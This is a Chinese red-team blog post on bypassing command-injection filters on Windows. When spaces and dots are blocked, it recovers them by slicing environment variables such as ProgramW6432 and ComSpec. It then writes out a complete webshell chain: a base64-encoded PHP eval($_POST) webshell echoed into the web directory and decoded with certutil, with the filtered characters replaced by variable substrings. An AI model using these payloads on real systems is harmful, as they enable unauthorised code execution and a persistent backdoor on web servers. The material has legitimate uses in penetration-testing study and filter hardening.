来自红队大佬的经验之谈---命令执行过滤绕过-Windows篇

简介: 感谢来自老流氓大佬的投稿,本次文章介绍的是在windows环境下,过滤的“点”和“空格”等符号,如何利用windowsit特性进行绕过

感谢来自老流氓大佬的投稿,本次文章介绍的是在windows环境下,过滤的“点”和“空格”等符号,导致在写入webshell时会受限。以下是针对该目标的绕过记录。

首先是命令执行和过滤验证,如下:

图片.png

执行dir命令,我们可以看到当前系统存在script目录

图片.png

但是当我们想要看一下script目录下的内容的时候,我们发现空格被过滤导致命令执行失败了

图片.png

尝试使用url编码对空格进行转换,依旧是执行失败

图片.png

要正常执行命令和后续Getshell,则需要“.”和“ ”,那被过滤的符号从哪里来。救赎之道,就在其中 The way to salvation lies in it。

方法就是,切割字符串。利用Windows系统特性和变量来获取被过滤的符号,如下图所示,执行set命令可以将我们想要的内容写入到环境变量中,例如本次写入“set test= hello world.12345”

图片.png

再次执行set命令,发现写入成功

图片.png

然后利用字符串截取,截取到我们需要的空格和点

图片.png

当然了,这里为了演示,所以自己写了一个test,实际上在目标系统里都有现成的,我们直接利用就行,直接执行set命令,查看目标系统存在的环境变量,然后找到环境变量里的空格和点

图片.png

目标环境的系统变量是符合我们预期的

图片.png

将截取出的空格和点放到之前的命令执行中即可,空格“ ”过滤被绕过,如图:

图片.png

点“.”过滤被绕过,如下:

查看文件执行失败

图片.png

查看文件执行成功

图片.png

最终Getshell方法

那我们将免杀的webshell进行base64编码,防止受到其它被过滤符影响,然后echo到web目录,在使用certutil将文件decode解码,即可拿下目标系统。

PD9waHAgZXZhbCgkX1BPU1RbJzIwMjQnXSk7Pz4g是base64后的webshell,然后对被过滤字符进行编码,即如下。

写入:

echo%ProgramW6432:~10,1%PD9waHAgZXZhbCgkX1BPU1RbJzIwMjQnXSk7Pz4g%ProgramW6432:~10,1%>>%ProgramW6432:~10,1%script\shell%ComSpec:~23,1%txt

解码:

Certutil -decode script\shell.txt script\shell.php

Certutil%ProgramW6432:~10,1%-decode%ProgramW6432:~10,1%script\shell%ComSpec:~23,1%txt%ProgramW6432:~10,1%script\shell%ComSpec:~23,1%php

相关文章
|
1月前
|
Java Linux Windows
java在Linux执行命令Java在Windows执行命令
java在Linux执行命令Java在Windows执行命令
25 0
|
6天前
|
Web App开发 Linux Windows
windows类似grep的命令——findstr
windows类似grep的命令——findstr
|
20天前
|
监控 Unix Linux
windows和linux实时监控文本内容的命令
windows和linux实时监控文本内容的命令
25 1
|
1月前
|
Oracle Java 关系型数据库
windows 下 win11 JDK17安装与环境变量的配置(配置简单详细,包含IJ中java文件如何使用命令运行)
本文介绍了Windows 11中安装JDK 17的步骤,包括从官方网站下载JDK、配置环境变量以及验证安装是否成功。首先,下载JDK 17的安装文件,如果没有Oracle账户,可以直接解压缩文件到指定目录。接着,配置系统环境变量,新建`JAVA_HOME`变量指向JDK安装路径,并在`Path`变量中添加。然后,通过命令行(cmd)验证安装,分别输入`java -version`和`javac -version`检查版本信息。最后,作者分享了如何在任意位置运行Java代码,包括在IntelliJ IDEA(IJ)中创建的Java文件,只需去掉包声明,就可以通过命令行直接运行。
619 1
|
1月前
|
缓存 监控 网络协议
Windows网络管理及诊断命令整理
Windows网络管理及诊断命令整理
47 0
|
1月前
|
域名解析 缓存 网络协议
16.系统知识-Windows的常用命令
16.系统知识-Windows的常用命令
|
1月前
|
NoSQL Linux Redis
Redis的介绍,以及Redis的安装(本机windows版,虚拟机Linux版)和Redis常用命令的介绍
Redis的介绍,以及Redis的安装(本机windows版,虚拟机Linux版)和Redis常用命令的介绍
49 0
|
1月前
|
机器学习/深度学习 人工智能 Windows
一些常见的Windows命令
一些常见的Windows命令
27 0
|
15天前
|
编解码 安全 网络安全
RealVNC的 VNC server在windows7系统下无法正确运行
在Windows 7上运行旧版VNC Server(如4.1.2)可能存在兼容性问题,但可通过调整配置解决。步骤包括:安装VNC Server,设置兼容性模式(选择Windows XP SP3),启动VNC Server,配置VNC连接参数。若遇到问题,检查防火墙设置,确保系统更新,并考虑升级到新版VNC Server以提高性能和兼容性。